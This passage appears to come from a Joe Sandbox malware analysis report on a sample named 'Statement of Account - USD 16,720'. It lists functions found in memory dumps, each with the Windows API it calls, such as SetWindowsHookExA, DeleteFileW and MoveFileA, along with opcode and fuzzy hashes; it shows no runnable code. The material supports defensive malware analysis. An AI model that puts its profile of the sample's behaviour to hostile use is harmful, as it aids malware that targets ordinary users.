Instruction Fuzzy Hash: B23112B0D01358DFDB54CF99C984B9DBBF5AF48304F20805AE404AB290D7B86944CB95

Function 00F0863A Relevance: 1.6, APIs: 1, Instructions: 65fileCOMMON

Download Yara Rule

APIs

MoveFileA.KERNEL32(?,00000000,?,?), ref: 00F086D0

Memory Dump Source

Source File: 00000001.00000002.4485627216.0000000000F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f00000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 997530ccf7b9787240f3dccf2d6fca2b8eae7197184f6d5cd867a6a7d088adcb
Instruction ID: f8fcf87ec50a55682460c3c101cefd7dcfdc9c0ed39e8e5a231226e8053faa90
Opcode Fuzzy Hash: 997530ccf7b9787240f3dccf2d6fca2b8eae7197184f6d5cd867a6a7d088adcb
Instruction Fuzzy Hash: 9B2125B6C012089FCB10CF9AD884ADEFBF5FF88310F24805AE858AB245D7756945DFA4

Function 00F07800 Relevance: 1.6, APIs: 1, Instructions: 65fileCOMMON

Download Yara Rule

APIs

MoveFileA.KERNEL32(?,00000000,?,?), ref: 00F086D0

Memory Dump Source

Source File: 00000001.00000002.4485627216.0000000000F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f00000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 5fd9ead2ec28ae9a7311ea28446744a4d71e63ae8c825b9a7a095c15f5cc7a28
Instruction ID: dd34487c711d3580f5036e667e3a3c8780e63f4401fa3cdfa3fd54e4b9015525
Opcode Fuzzy Hash: 5fd9ead2ec28ae9a7311ea28446744a4d71e63ae8c825b9a7a095c15f5cc7a28
Instruction Fuzzy Hash: 952127B6C012089FCB10CF99D884ADEFBF5FB88310F14805AE958AB245C775A945DBA4

Function 0675238C Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 06752416

Memory Dump Source

Source File: 00000001.00000002.4499130047.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6750000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 6de8af927df8594bcedfcba6e0daa71471450fc45e4d59e037da0dd1f5262679
Instruction ID: 52e6f5b1b77e67e3452f89bcbb147aa2e9b1d85e0914d6d25d92c21a3e1c3b86
Opcode Fuzzy Hash: 6de8af927df8594bcedfcba6e0daa71471450fc45e4d59e037da0dd1f5262679
Instruction Fuzzy Hash: 27214CB1C053888FDB15CFAAC44469EBFF4EF8A314F15819AC458AB252C379A546CFA1

Function 06757090 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0675711F

Memory Dump Source

Source File: 00000001.00000002.4499130047.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6750000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 18d63245f96ac0fcf2f4fabe1eb5379a221b4dcfdfdb959bf0c3fde94bca1a76
Instruction ID: 840015d003cea5a2ea1f5792f69cfa1a6ac0892f83714431becbd713f07aebeb
Opcode Fuzzy Hash: 18d63245f96ac0fcf2f4fabe1eb5379a221b4dcfdfdb959bf0c3fde94bca1a76
Instruction Fuzzy Hash: DC21E5B5900249DFDB10CFAAD984AEEFFF5FB48310F14845AE958A3210D379A944CFA5

Function 06756CD0 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,?,?,?,?,0675823D), ref: 067582C7

Memory Dump Source

Source File: 00000001.00000002.4499130047.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6750000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 50240b738e37facd6017dfd915e64f003065f6d706bdd6c8d6532407056d9a47
Instruction ID: b5a162d6ed93158296c7820e7dad53a03c1204d1c39afc0885214aa910ced375
Opcode Fuzzy Hash: 50240b738e37facd6017dfd915e64f003065f6d706bdd6c8d6532407056d9a47
Instruction Fuzzy Hash: F4219AB1C043988FCB11DFA9C854AEFBFF4EF49310F1044AAD459A7251C378A944CBA5

Function 06757098 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0675711F

Memory Dump Source

Source File: 00000001.00000002.4499130047.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6750000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: d48c9364543e286aad10bb9460df7a141685b1c35718e224675f5fc1e9fb61f7
Instruction ID: 13bba0b245edcfa3ecec3f072912bbcc24b6b1019b589fdfd19f674b8c4feb3c
Opcode Fuzzy Hash: d48c9364543e286aad10bb9460df7a141685b1c35718e224675f5fc1e9fb61f7
Instruction Fuzzy Hash: D921C6B59002499FDB10CFAAD984ADEFBF5FB48310F14845AE914A3350D379A944CFA5

Function 0675A8C3 Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 0675A943

Memory Dump Source

Source File: 00000001.00000002.4499130047.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6750000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: d465a6dd2b41cf7e1ba9721f0ecd1fb77c9eb65f16f3cf94d523037dc0108386
Instruction ID: 0b340a751160e642eadbb8e0f30eb2abb8c1a8898f0722e08b0795198fe8db28
Opcode Fuzzy Hash: d465a6dd2b41cf7e1ba9721f0ecd1fb77c9eb65f16f3cf94d523037dc0108386
Instruction Fuzzy Hash: E82134B5D002098FCB54DFAAC844BEEBBF5FB88310F10842AE459A7250C779A944CFA1

Function 00F077D8 Relevance: 1.6, APIs: 1, Instructions: 59fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000), ref: 00F080D8

Memory Dump Source

Source File: 00000001.00000002.4485627216.0000000000F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f00000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 74fba97dd7960a09ce2334e1b3953431222e69b05640c81e2fb65ec412a02115
Instruction ID: 7d664c992147e6ee4b63da559e6d877b4bfec47d3e37af28e648570ffea93f0f
Opcode Fuzzy Hash: 74fba97dd7960a09ce2334e1b3953431222e69b05640c81e2fb65ec412a02115
Instruction Fuzzy Hash: 3C2144B1C006199BCB10DF9AC4447AEFBF4EF08320F10812AD818A7240D778A945DFE1

Function 00F08060 Relevance: 1.6, APIs: 1, Instructions: 58fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000), ref: 00F080D8

Memory Dump Source

Source File: 00000001.00000002.4485627216.0000000000F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f00000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 51a6d2d49171ffe405953d73f1c337798df0d6155164871e9d7963e63e88c002
Instruction ID: b1b91b464e638f31f1edcf42d7d7c80afa0fc07a9460a898fb13b9b8470a40c5
Opcode Fuzzy Hash: 51a6d2d49171ffe405953d73f1c337798df0d6155164871e9d7963e63e88c002
Instruction Fuzzy Hash: 1D2142B1C0061A8BCB10CFAAC5447AEFBF0AF08320F14812AD859B7241D738A945CFA4

Function 0675A8C8 Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 0675A943

Memory Dump Source

Source File: 00000001.00000002.4499130047.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6750000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: beb1662e6a97d14ecf1921665b53bd89e7bd816cf9b1a7613f7aa165202a4d4f
Instruction ID: 923065fe1018624681ec5f383d5fcc482e06ffbab02f1b29ed83a6eb92c82de7
Opcode Fuzzy Hash: beb1662e6a97d14ecf1921665b53bd89e7bd816cf9b1a7613f7aa165202a4d4f
Instruction Fuzzy Hash: 012102B5D002198FCB54DF9AC844BEEBBF5BB88310F10842AE459A7250C779A944CFA1

Function 00F0F778 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 00F0F7DF

Memory Dump Source

Source File: 00000001.00000002.4485627216.0000000000F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f00000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 97c764ec7d897a7cfe44095264a528d2a1f36f189bb79c3e933e653f70365bfd
Instruction ID: f8bfaccc66089a2927e9e2cb92789f4530d6b1efa47aa519648c77b0aed26852
Opcode Fuzzy Hash: 97c764ec7d897a7cfe44095264a528d2a1f36f189bb79c3e933e653f70365bfd
Instruction Fuzzy Hash: 2E11E2B1C0065A9BCB10DF9AC544A9EFBF4AF48320F14816AD918A7240D778A944CFE5

Function 067509A4 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 06752416

Memory Dump Source

Source File: 00000001.00000002.4499130047.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6750000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 563d27ea3dc9b998dc81a9e7305bbc3e674f53cb22b4eae9e64de1e0f83ae72b
Instruction ID: 844652ef437bcc9b38c3b5d2364c8dbf277ea3927ba158cc0004e6f4d5e83896
Opcode Fuzzy Hash: 563d27ea3dc9b998dc81a9e7305bbc3e674f53cb22b4eae9e64de1e0f83ae72b
Instruction Fuzzy Hash: 031134B5C003488FDB10DF9AC448ADEFBF4EB48310F11806AD829B7201C379A945CFA1

Function 06756E34 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 06758B85

Memory Dump Source

Source File: 00000001.00000002.4499130047.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6750000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: b18a817a56e4d23af9c8790c026599912d876ec108dd912882cf539c015f739c
Instruction ID: 30aa54c0a3f23b0d60c6d1c09ecf634c071f24a3b53f97afa66594cb88308e79
Opcode Fuzzy Hash: b18a817a56e4d23af9c8790c026599912d876ec108dd912882cf539c015f739c
Instruction Fuzzy Hash: 8B1103B5804358CFDB20EF9AC448B9EBBF8EB48324F108459D519A7610C378A944CFA5

Function 06756CEC Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,?,?,?,?,0675823D), ref: 067582C7

Memory Dump Source

Source File: 00000001.00000002.4499130047.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6750000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 43f06c84c0828fa2b750f6cf5c76aa1dd2e4ad749f92306d89b2ebc5d59fc210
Instruction ID: 4c8368fe9e1331ac880f1717a1078abc8d44c1fc7c12ace979ea48b351d06df0
Opcode Fuzzy Hash: 43f06c84c0828fa2b750f6cf5c76aa1dd2e4ad749f92306d89b2ebc5d59fc210
Instruction Fuzzy Hash: 781103B5804658CFCB50DF9AD448BAEBFF8EB48314F20845AD919A7240C778A944CFA5

Function 06758B29 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 06758B85

Memory Dump Source

Source File: 00000001.00000002.4499130047.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6750000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 9d8b523e801efe350400af0ad8d5fd8d5371a04a969302a7c40566a6cca92801
Instruction ID: b8ec6b8e4b512059b5e66942d10997e4dc79e309dd846b8adf020a757c7f8f99
Opcode Fuzzy Hash: 9d8b523e801efe350400af0ad8d5fd8d5371a04a969302a7c40566a6cca92801
Instruction Fuzzy Hash: 9D11F2B5C00258CFDB20DFAAD448B9EBBF8AB49324F148459D558A7610C378A544CFA5

Function 06758261 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,?,?,?,?,0675823D), ref: 067582C7

Memory Dump Source

Source File: 00000001.00000002.4499130047.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6750000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: af9baf2f293cc26c5264e7a1b365f6e35d49020198dc53a4a5c69377f84fe7d9
Instruction ID: f33fcd25355a39a18b8f9cfbc887c337bec93f3d507f11e42aad400b02878a02
Opcode Fuzzy Hash: af9baf2f293cc26c5264e7a1b365f6e35d49020198dc53a4a5c69377f84fe7d9
Instruction Fuzzy Hash: 571103B5C006588FCB50DF9AD848BAEBFF4EB48324F20845AD918A3240C778A944CFA5

Function 067BDB28 Relevance: 1.4, Strings: 1, Instructions: 117COMMON

Download Yara Rule

Strings

PH]q, xrefs: 067BDC71

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: fb52c039c401d7545f4c65a5deb361541f2456a664cebecfea581e3fe3af0192
Instruction ID: cb9444849f67348a67e24f1f6743512e7554e8d39c92e804065b44e4ed1789ac
Opcode Fuzzy Hash: fb52c039c401d7545f4c65a5deb361541f2456a664cebecfea581e3fe3af0192
Instruction Fuzzy Hash: B1419170E00609DFDB64DFA5D8557AEBBB6FF85300F208A2AE405E7244EB70D946CB81

Function 067BDB15 Relevance: 1.4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

Strings

PH]q, xrefs: 067BDC71

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 632eb3e9abef6217c03ff40c044dc875027dc194b110bd263a8e53a2bd33ca6a
Instruction ID: 4b778b23d73ef520151ac44e366f01ddc43b46812566d162335ac9919b721709
Opcode Fuzzy Hash: 632eb3e9abef6217c03ff40c044dc875027dc194b110bd263a8e53a2bd33ca6a
Instruction Fuzzy Hash: C5419F70E10605CFDF65DF65D4847AEBBB2EF85300F209A2AE405E7250EB70D906CB41

Function 067BDB1F Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

PH]q, xrefs: 067BDC71

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 7d29712acaf63a53a8fae51196976482bfd6c2bc4f5ed183c824dbb93425faac
Instruction ID: 8d43eb6dfd1c12d14e7ad25ef1630b0917157bbe2e0a1bbdb6b8b3cd7d777911
Opcode Fuzzy Hash: 7d29712acaf63a53a8fae51196976482bfd6c2bc4f5ed183c824dbb93425faac
Instruction Fuzzy Hash: 5041BF30E00609CFDB64DFA5D8857AEBBB2FF85300F208A29E405E7240EB70D906CB81

Function 067B21ED Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

PH]q, xrefs: 067B233B

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 1282d11f18733dcf0ed6403d681e891184e56cab2eb1e42ab957b529bb750a0c
Instruction ID: e78684f5284d4ad2fd81d7a5b35c1d04c0320b5bb4ded3d878e89a441841aaa0
Opcode Fuzzy Hash: 1282d11f18733dcf0ed6403d681e891184e56cab2eb1e42ab957b529bb750a0c
Instruction Fuzzy Hash: 2331FC30B012018FDB98AB7499547BF7BE2AF8A210F209428D406DB396DF35DE06CB91

Function 067B2200 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

PH]q, xrefs: 067B233B

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 87653dff569a308871129c69baa4045a8322e68619ef7bc72df4fa1d67aed449
Instruction ID: 9979b4950a67976e6562e04c374a577458075d14df89537841d0b845444b1aa0
Opcode Fuzzy Hash: 87653dff569a308871129c69baa4045a8322e68619ef7bc72df4fa1d67aed449
Instruction Fuzzy Hash: 2C31CB30B002058FDB58AB7495547BE7AE6AF89200F209528D406DB396DE35DE06CB95

Function 067BFBD1 Relevance: 1.3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

Strings

|, xrefs: 067BFC30

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID: |
API String ID: 0-2343686810
Opcode ID: 8841eb39ffce8154f2a5be109cad193bb5e4effa4a31a50cffaebbb86a802d92
Instruction ID: b61da231a8f48edeeb530ae3020dc34d8f199a421a3b7dccee635315419469bb
Opcode Fuzzy Hash: 8841eb39ffce8154f2a5be109cad193bb5e4effa4a31a50cffaebbb86a802d92
Instruction Fuzzy Hash: A5219074B00214DFDB549B788C05BAE7BF5AF8CB10F108569E50AEB3A1EB399D01DB85

Function 067BFBE0 Relevance: 1.3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

|, xrefs: 067BFC30

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID: |
API String ID: 0-2343686810
Opcode ID: 49d427d7c1f860ebcc3f33133792d44bd01242b96d2b2ed85eb7db44a2cb1a97
Instruction ID: 344c3d7fa7393f5bbe021b9e902101d5de92c6c9ff6c90e6510871335fd85f70
Opcode Fuzzy Hash: 49d427d7c1f860ebcc3f33133792d44bd01242b96d2b2ed85eb7db44a2cb1a97
Instruction Fuzzy Hash: B8112E74B102149FDB54DB78C909BAD7BF5AF4C710F108469E90AD7390DB399D019B85

Function 067BAE6B Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9e123e3f2ece80994bdbe5affff0fd8b191dc94313c96b6bd60d100cbf2885c
Instruction ID: 34b8d977cc99c20a5101495e789295927bf6777e6187d1f6f0dd38ad8d875096
Opcode Fuzzy Hash: c9e123e3f2ece80994bdbe5affff0fd8b191dc94313c96b6bd60d100cbf2885c
Instruction Fuzzy Hash: 7EA18170F102098FEF64DAADD9907FEB6A6EB89710F205825E805E7395CE35DC41CB52

Function 067B5E30 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dcec0f038f32de7629948fcacc663a0401207c219f9c268ee3f326e7d46d15e
Instruction ID: 0f954fef57d1dc2c44d9789aeee9ba6a3917f923df73e130689ca448022a075f
Opcode Fuzzy Hash: 0dcec0f038f32de7629948fcacc663a0401207c219f9c268ee3f326e7d46d15e
Instruction Fuzzy Hash: A9619071F001114FEB64AA6AC8806AFBADBAFD4214F254479E80EDB364DE79DD0287D1

Function 067B3EE0 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 855747ddfecc26c54cf8d99f5c350fdca6b3f15193a589ab5edf79cbcc318335
Instruction ID: 995727c32c19020c837b62ad072f09351a30188e9b2a30c279a55197758accc0
Opcode Fuzzy Hash: 855747ddfecc26c54cf8d99f5c350fdca6b3f15193a589ab5edf79cbcc318335
Instruction Fuzzy Hash: 87816E30B102099FDF54DFA8D4547AEB7F2AF99304F148529E40ADB399DB71DC868B82

Function 067B4200 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a20962b33a86c164d1d7638cf72d78484b2b8107727c721f046019d9882603d9
Instruction ID: 758367a6b01b6cf9d482ddfbb7a3aa7b497c8d88269439fbe12eaa5c0a42a8f8
Opcode Fuzzy Hash: a20962b33a86c164d1d7638cf72d78484b2b8107727c721f046019d9882603d9
Instruction Fuzzy Hash: 25913D30E006198BDF60DF68C890BEDB7B1FF89304F208599D549FB295DB74AA85CB51

Function 067B3EF0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46596a68aa8cc4473721b3e87f7d586f7a4e4224c8c4e82275a526bbc13e75ed
Instruction ID: fa28a35b0de861eed502d2ed5a9a4264b994a7019d7764762e68267f6ec386b7
Opcode Fuzzy Hash: 46596a68aa8cc4473721b3e87f7d586f7a4e4224c8c4e82275a526bbc13e75ed
Instruction Fuzzy Hash: 2E815C30B102098FDF54DFA8D5547AEB7F2AF99304F148529E40ADB399DB71DC868B82

Function 067B4218 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bee644ed03109e1d81d0962ab74e5ea1db5d900590f33f24cab16e9bb1f1257
Instruction ID: 50a513d1c2a531a4f777ccd9d08ec2db32537a20755fc1fc41af720f1abc6425
Opcode Fuzzy Hash: 0bee644ed03109e1d81d0962ab74e5ea1db5d900590f33f24cab16e9bb1f1257
Instruction Fuzzy Hash: 2A913D30E106198BDF60DF68C890BDDB7B1FF89304F208599D549BB255DB70AA85CF51

Function 067BEB73 Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 508a564e8c3273f7afa169b2ccadd7e02791238eb4cb82899b68d1e92f08e63e
Instruction ID: f1839f81e7fe670688befd63ca0c20d054b16177a5774063f995b980ee49ad64
Opcode Fuzzy Hash: 508a564e8c3273f7afa169b2ccadd7e02791238eb4cb82899b68d1e92f08e63e
Instruction Fuzzy Hash: DE712A34A002089FDB54DFA8D994AEEBBF6FF88300F249529E405EB355DB70E946CB50

Function 067BEB80 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6eea6a4fd85d6f88e8780b9195b0899f25e9b22d434d489fe3fcf0f131390ec
Instruction ID: f45fdb54f5ac58444aae292d288b4e538278509c73e2a9c2b7532b0b048bbcc3
Opcode Fuzzy Hash: b6eea6a4fd85d6f88e8780b9195b0899f25e9b22d434d489fe3fcf0f131390ec
Instruction Fuzzy Hash: 71711930A002089FDB54DFA8D994AEDBBF6FF88300F249529E405AB355DB74ED46CB50

Function 067BF809 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03e74770e467a0997f583368e117ee6ab50c90677b4aa1466bda5e993db6f067
Instruction ID: b32f783ce6617fa48c2eedc297231ac26cfc55dfa897737356aaf8acfed00273
Opcode Fuzzy Hash: 03e74770e467a0997f583368e117ee6ab50c90677b4aa1466bda5e993db6f067
Instruction Fuzzy Hash: CE51F031E00105DFCF68AF79E8447EDBBB2EF85715F20896AE10AD7250DB398955CB81

Function 067BF5B8 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12ccb286845fdad7f7f03f1e17b40db6375e7bc477460b3c3600a3e323a6bd7e
Instruction ID: 51c43484cacce9cd50dba66ccf870c5c23faa8ed3e1d80b34a916bcbb034051f
Opcode Fuzzy Hash: 12ccb286845fdad7f7f03f1e17b40db6375e7bc477460b3c3600a3e323a6bd7e
Instruction Fuzzy Hash: 7251C770B102048FEF655A6CED547BE369EEB89704F20492AE40EC37A5CA6CCC55C7A6

Function 067BF5C8 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4499693634.00000000067B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_67b0000_Statement of Account - USD 16,720.jbxd

Similarity

